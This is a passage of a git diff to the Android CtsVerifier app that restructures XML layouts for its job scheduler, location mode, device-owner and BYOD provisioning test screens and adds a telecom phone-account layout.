             android:layout_width="match_parent"
-            android:layout_height="0dp"
-            android:layout_weight="1">
-            <TextView android:id="@+id/info"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:textSize="18sp"
-                android:padding="5dp"
-                android:text="@string/dc_start_alarm_test_info"/>
-        </ScrollView>
+            android:layout_height="wrap_content"
+            android:textSize="18sp"
+            android:padding="5dp"
+            android:text="@string/dc_start_alarm_test_info"/>
+    </ScrollView>
 
-        <LinearLayout android:id="@+id/buttons"
-            android:orientation="horizontal"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"/>
+    <LinearLayout android:id="@+id/buttons"
+        android:orientation="horizontal"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
 
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
 
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
+        <include layout="@layout/pass_fail_buttons"/>
     </LinearLayout>
-</com.android.cts.verifier.BoxInsetLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_charging.xml b/apps/CtsVerifier/res/layout/js_charging.xml
index 104b9ab..70348fb 100644
--- a/apps/CtsVerifier/res/layout/js_charging.xml
+++ b/apps/CtsVerifier/res/layout/js_charging.xml
@@ -1,109 +1,99 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-
-    <LinearLayout
-        android:orientation="vertical"
+    <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_1"
-            android:textStyle="bold"/>
-        <Button
-            android:id="@+id/js_charging_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-        <TextView
-            android:id="@+id/js_waiting_for_charging_text_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_3"
-            android:textStyle="bold"
-            android:visibility="gone"/>
-        <com.android.cts.verifier.TimerProgressBar
-            android:id="@+id/js_waiting_for_charging_progress_bar"
-            style="?android:attr/progressBarStyleHorizontal"
-            android:layout_width="fill_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:visibility="gone"/>
-        <TextView
-            android:id="@+id/js_problem_with_charger_text_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_4"
-            android:textStyle="bold"
-            android:visibility="gone"/>
         <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/charging_on_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_charging_on_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
-        <TextView
+            android:orientation="vertical"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_2"
-            android:textStyle="bold"/>
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/charging_off_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
+            android:layout_height="match_parent">
             <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_1"
+                android:textStyle="bold"/>
+            <Button
+                android:id="@+id/js_charging_start_test_button"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:text="@string/js_charging_off_test"
-                android:textSize="16dp"/>
+                android:layout_gravity="center"
+                android:text="@string/js_start_test_text"
+                android:onClick="startTest"
+                android:enabled="false"/>
+            <TextView
+                android:id="@+id/js_waiting_for_charging_text_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_3"
+                android:textStyle="bold"
+                android:visibility="gone"/>
+            <com.android.cts.verifier.TimerProgressBar
+                android:id="@+id/js_waiting_for_charging_progress_bar"
+                style="?android:attr/progressBarStyleHorizontal"
+                android:layout_width="fill_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:visibility="gone"/>
+            <TextView
+                android:id="@+id/js_problem_with_charger_text_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_4"
+                android:textStyle="bold"
+                android:visibility="gone"/>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/charging_on_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_charging_on_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_2"
+                android:textStyle="bold"/>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/charging_off_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_charging_off_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_connectivity.xml b/apps/CtsVerifier/res/layout/js_connectivity.xml
index 981d444..639280d 100644
--- a/apps/CtsVerifier/res/layout/js_connectivity.xml
+++ b/apps/CtsVerifier/res/layout/js_connectivity.xml
@@ -1,102 +1,92 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<ScrollView
-    xmlns:android="http://schemas.android.com/apk/res/android"
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <LinearLayout
-        android:orientation="vertical" android:layout_width="match_parent"
+    <ScrollView
+        android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_connectivity_description_1"
-            android:layout_margin="@dimen/js_padding"
-            android:textStyle="bold"/>
-
-        <Button
-            android:id="@+id/js_connectivity_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-
         <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_unmetered_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
+            android:orientation="vertical" android:layout_width="match_parent"
+            android:layout_height="match_parent">
             <TextView
-                android:layout_width="wrap_content"
+                android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/js_unmetered_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_any_connectivity_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
             <TextView
-                android:layout_width="wrap_content"
+                android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/js_any_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:text="@string/js_connectivity_description_1"
+                android:layout_margin="@dimen/js_padding"
+                android:textStyle="bold"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_no_connectivity_image"
+            <Button
+                android:id="@+id/js_connectivity_start_test_button"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_no_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:layout_gravity="center"
+                android:text="@string/js_start_test_text"
+                android:onClick="startTest"
+                android:enabled="false"/>
 
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_unmetered_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_unmetered_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_any_connectivity_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_any_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_no_connectivity_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_no_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_idle.xml b/apps/CtsVerifier/res/layout/js_idle.xml
index f329d5b..f9dcc70 100644
--- a/apps/CtsVerifier/res/layout/js_idle.xml
+++ b/apps/CtsVerifier/res/layout/js_idle.xml
@@ -1,82 +1,72 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<ScrollView
-    xmlns:android="http://schemas.android.com/apk/res/android"
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <LinearLayout
-        android:orientation="vertical"
+    <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
+        <LinearLayout
+            android:orientation="vertical"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-        <Button
-            android:id="@+id/js_idle_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-        <TextView
-            android:id="@+id/js_idle_continue_instruction_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_idle_continue_instruction"
-            android:layout_margin="@dimen/js_padding"
-            android:textStyle="bold"
-            android:visibility="gone"/>
+            android:layout_height="match_parent">
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/js_test_description"
+                android:layout_margin="@dimen/js_padding"/>
+            <Button
+                android:id="@+id/js_idle_start_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_gravity="center"
+                android:text="@string/js_start_test_text"
+                android:onClick="startTest"
+                android:enabled="false"/>
+            <TextView
+                android:id="@+id/js_idle_continue_instruction_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/js_idle_continue_instruction"
+                android:layout_margin="@dimen/js_padding"
+                android:textStyle="bold"
+                android:visibility="gone"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/idle_off_test_image"
+            <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/idle_off_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_idle_item_idle_off"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:text="@string/js_idle_item_idle_off"
-                android:textSize="16dp"/>
+                android:layout_marginTop="@dimen/js_padding"
+                android:layout_marginBottom="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/idle_on_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:src="@drawable/fs_indeterminate"
+                    android:layout_marginRight="@dimen/js_padding"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_idle_item_idle_on"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <include layout="@layout/pass_fail_buttons" />
         </LinearLayout>
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/idle_on_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_idle_item_idle_on"
-                android:textSize="16dp"/>
-        </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/list_content.xml b/apps/CtsVerifier/res/layout/list_content.xml
index e7de596..decef55 100644
--- a/apps/CtsVerifier/res/layout/list_content.xml
+++ b/apps/CtsVerifier/res/layout/list_content.xml
@@ -15,14 +15,12 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License
   -->
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <ListView
-        android:id="@android:id/list"
-        app:ctsv_layout_box="all"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent" />
-</com.android.cts.verifier.BoxInsetLayout>
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+        <ListView
+            android:id="@android:id/list"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/location_mode_main.xml b/apps/CtsVerifier/res/layout/location_mode_main.xml
index 8b2ab43..612a963 100644
--- a/apps/CtsVerifier/res/layout/location_mode_main.xml
+++ b/apps/CtsVerifier/res/layout/location_mode_main.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?><!--
+<?xml version="1.0" encoding="utf-8"?>
+<!--
      Copyright (C) 2013 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -18,22 +19,27 @@
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-
-    <ScrollView
-        android:id="@+id/test_scroller"
+    <LinearLayout
         android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"
+        android:layout_height="match_parent"
         android:orientation="vertical">
 
-        <LinearLayout
-            android:id="@+id/test_items"
+        <ScrollView
+            android:id="@+id/test_scroller"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical" >
-        </LinearLayout>
-    </ScrollView>
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:orientation="vertical">
 
-    <include layout="@layout/pass_fail_buttons" />
+            <LinearLayout
+                android:id="@+id/test_items"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical" >
+            </LinearLayout>
+        </ScrollView>
 
+        <include layout="@layout/pass_fail_buttons" />
+
+    </LinearLayout>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/organization_info.xml b/apps/CtsVerifier/res/layout/organization_info.xml
index 8381d1f..320fb8c 100644
--- a/apps/CtsVerifier/res/layout/organization_info.xml
+++ b/apps/CtsVerifier/res/layout/organization_info.xml
@@ -53,11 +53,6 @@
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:orientation="horizontal">
-            <Button android:id="@+id/organization_info_settings_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:text="@string/provisioning_byod_settings_button_text"
-                    android:layout_weight="1"/>
             <Button android:id="@+id/organization_info_set_button"
                     android:layout_width="0dp"
                     android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/positive_device_owner.xml b/apps/CtsVerifier/res/layout/positive_device_owner.xml
index 8af9e09..fa437de 100644
--- a/apps/CtsVerifier/res/layout/positive_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/positive_device_owner.xml
@@ -13,31 +13,38 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+    style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
->
-  <ScrollView
-      android:layout_width="match_parent"
-      android:layout_height="320dip"
-      android:layout_weight="2">
-    <TextView
-        android:id="@+id/positive_device_owner_instructions"
+    android:orientation="vertical">
+
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:padding="10dip"
-        android:text="@string/device_owner_positive_tests_instructions"
-        android:textSize="18dip" />
-  </ScrollView>
-  <Button
-      android:id="@+id/set_device_owner_button"
-      android:layout_width="204dip"
-      android:layout_height="wrap_content"
-      android:text="@string/set_device_owner_button_label" />
-  <ListView
-      android:id="@+id/android:list"
-      android:layout_width="match_parent"
-      android:layout_height="wrap_content"
-      android:layout_weight="3" />
-  <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
+        android:layout_height="match_parent">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+            <TextView
+                android:id="@+id/positive_device_owner_instructions"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/device_owner_positive_tests_instructions"
+                android:textSize="18dip" />
+
+            <Button
+                android:id="@+id/set_device_owner_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/set_device_owner_button_label" />
+
+            <ListView
+                android:id="@+id/android:list"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/provisioning_byod.xml b/apps/CtsVerifier/res/layout/provisioning_byod.xml
index 54b5121..227d8d8 100644
--- a/apps/CtsVerifier/res/layout/provisioning_byod.xml
+++ b/apps/CtsVerifier/res/layout/provisioning_byod.xml
@@ -1,12 +1,8 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2011 The Android Open Source Project
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
      You may obtain a copy of the License at
-
           http://www.apache.org/licenses/LICENSE-2.0
-
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@@ -14,34 +10,28 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        >
-
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
     <ScrollView
-            android:layout_width="match_parent"
-            android:layout_height="150dp"
-            android:layout_weight="2">
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="2">
         <TextView
-                android:id="@+id/test_instructions"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:padding="10dip"
-                android:textSize="18dip" />
+            android:id="@+id/test_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"
+            android:textSize="18dip"/>
     </ScrollView>
-
     <Button
         android:id="@+id/prepare_test_button"
-        android:layout_width="204dp"
-        android:layout_height="wrap_content" />
-
+        android:layout_width="204dip"
+        android:layout_height="wrap_content"/>
     <ListView
         android:id="@+id/android:list"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_weight="3" />
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
\ No newline at end of file
+        android:layout_weight="3"/>
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
index dcaf692..f3320c6 100644
--- a/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout/requesting_bugreport_device_owner.xml
@@ -38,4 +38,4 @@
         android:layout_height="wrap_content"
         android:layout_weight="3" />
     <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/telecom_enable_phone_account.xml b/apps/CtsVerifier/res/layout/telecom_enable_phone_account.xml
new file mode 100644
index 0000000..981fbf5
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/telecom_enable_phone_account.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical" android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/telecom_enable_phone_account_info"/>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_1_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_1_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_enable_phone_account_step_1"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_1_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_1_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_1_status"
+            android:id="@+id/telecom_enable_phone_account_register_button"
+            android:text="@string/telecom_enable_phone_account_register_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_2_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_2_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_enable_phone_account_step_2"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_2_status" />
+        <Button
+            android:id="@+id/telecom_enable_phone_account_confirm_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
